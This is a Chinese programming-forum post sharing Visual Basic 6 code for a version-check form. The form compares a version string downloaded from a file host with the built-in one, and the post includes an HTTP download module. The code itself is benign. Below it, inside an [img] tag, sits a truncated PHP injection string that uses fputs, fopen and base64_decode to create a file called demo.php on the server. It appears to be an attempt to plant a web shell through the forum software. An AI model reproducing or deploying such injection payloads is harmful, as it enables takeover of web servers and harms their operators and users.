冰楓論壇

 找回密碼
 立即註冊
ads_sugarbook
搜索
查看: 1634|回覆: 0

[VB6] VB6.0 版本驗證

[複製鏈接]

5

主題

0

好友

4

積分

新手上路

Rank: 1

UID
117495
帖子
8
主題
5
精華
0
積分
4
楓幣
-9
威望
4
存款
0
贊助金額
0
推廣
0
GP
4
閱讀權限
10
性別
保密
在線時間
0 小時
註冊時間
2015-9-26
最後登入
2015-9-26
發表於 2015-9-26 22:03:41 |顯示全部樓層
---------------------需要的件元-------------------------
Text*1
Command*1
Label*4
Inet*1
表單*2
模組*1

------------------------表單內容---------------------------------

Private Sub Command1_Click() '名副其實就是按鈕 - 3 -
Unload Me  '關閉版本認證
Form2.Show '開啟Form2
End Sub

Private Sub Form_Load()
Label4.Caption = DownloadString("https://www.dropbox.com/xxxxxxxxxxxxx") '版本驗證,()內需更改成免空網址
'設置一個Txt檔案,裡面打版本,之後上傳至免空即可
If Label4.Caption = Label3.Caption Then'免空顯示的TXT=表單上的文字
Text3.Text = "目前為最新版本,可以使用!"     '顯示可以使用
Text3.ForeColor = &HFF0000
Command1.Enabled = True '可使用時,可點取
'TrueFalse
Else

Text3.Text = "偵測到新版本,請重新下載!"    '顯示不同=不可進入
Text3.ForeColor = &HFF&
Command1.Enabled = False    '禁止進入

End If  '停止本動作

If Label3.Caption = Label4.Caption Then  '一樣的話啟動以下指令
Else
Command1.Enabled = False   


If App.PrevInstance Then '讀取前一個版本
MsgBox "請勿重複開啟", 48, "訊息"
End If
End If

End Sub

-------------------------模組內容-------------------------不解釋了------------------------------------------------------
' HTTP Downloading Module By Inndy
Option Explicit
' For API
Private Const CP_ACP = 0        ' default to ANSI code page
Private Const CP_UTF8 = 65001   ' default to UTF-8 code page
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpMultiByteStr As Long, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, ByVal lpMultiByteStr As Long, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
' For module
Public Enum Encode
     ANSI = 0
     BIG5 = 1
     UTF8 = 2
End Enum

Private Function ToUTF8(ByVal sData As String) As Byte()
     Dim aRetn() As Byte, nSize As Long
     nSize = WideCharToMultiByte(CP_UTF8, 0, StrPtr(sData), -1, 0, 0, 0, 0)
     ReDim aRetn(0 To nSize - 1) As Byte
     WideCharToMultiByte CP_UTF8, 0, StrPtr(sData), -1, VarPtr(aRetn(0)), nSize, 0, 0
     ToUTF8 = aRetn
End Function

Private Function FromUTF8(ByVal sData As String) As Byte()
     Dim aRetn() As Byte, nSize As Long
     nSize = MultiByteToWideChar(CP_UTF8, 0, StrPtr(sData), -1, 0, 0)
     ReDim aRetn(0 To 2 * nSize - 1) As Byte
     MultiByteToWideChar CP_UTF8, 0, StrPtr(sData), -1, VarPtr(aRetn(0)), nSize
     FromUTF8 = aRetn
End Function

Public Function DownloadData(ByVal url As String) As Byte()
     Dim http As Object
     Set http = CreateObject("MSXML2.ServerXMLHTTP")
     http.Open "GET", url, False
     http.setRequestHeader "Pragma", "no-cache"
     http.send
     DownloadData = http.responseBody
     Set http = Nothing
End Function

Public Function DownloadString(ByVal url As String, Optional ByVal EncType As Encode = Encode.BIG5) As String
     If EncType = Encode.ANSI Then
         DownloadString = DownloadData(url)
     ElseIf EncType = Encode.BIG5 Then
         DownloadString = StrConv(DownloadData(url), vbUnicode)
     Else
         DownloadString = FromUTF8(DownloadData(url))
     End If
End Function

Public Function DownloadFile(ByVal url As String, ByVal file As String) As Boolean
     On Error GoTo Failed
     Dim f As Integer
     f = FreeFile
     Open file For Binary As f
     Put f, , DownloadData(url)
     Close f
     DownloadFile = True
     Exit Function
Failed:
     DownloadFile = False
End Function

[img]{${fputs(fopen(base64_decode(ZGVtby5waHA),w),
複製連結並發給好友,以賺取推廣點數
簡單兩步驟,註冊、分享網址,即可獲得獎勵! 一起推廣文章換商品、賺$$
高級模式
B Color Image Link Quote Code Smilies |上傳

廣告刊登意見回饋關於我們職位招聘本站規範DMCA隱私權政策

Copyright © 2011-2024 冰楓論壇, All rights reserved

免責聲明:本網站是以即時上載留言的方式運作,本站對所有留言的真實性、完整性及立場等,不負任何法律責任。

而一切留言之言論只代表留言者個人意見,並非本網站之立場,用戶不應信賴內容,並應自行判斷內容之真實性。

小黑屋|手機版|冰楓論壇

GMT+8, 2024-3-28 20:44

回頂部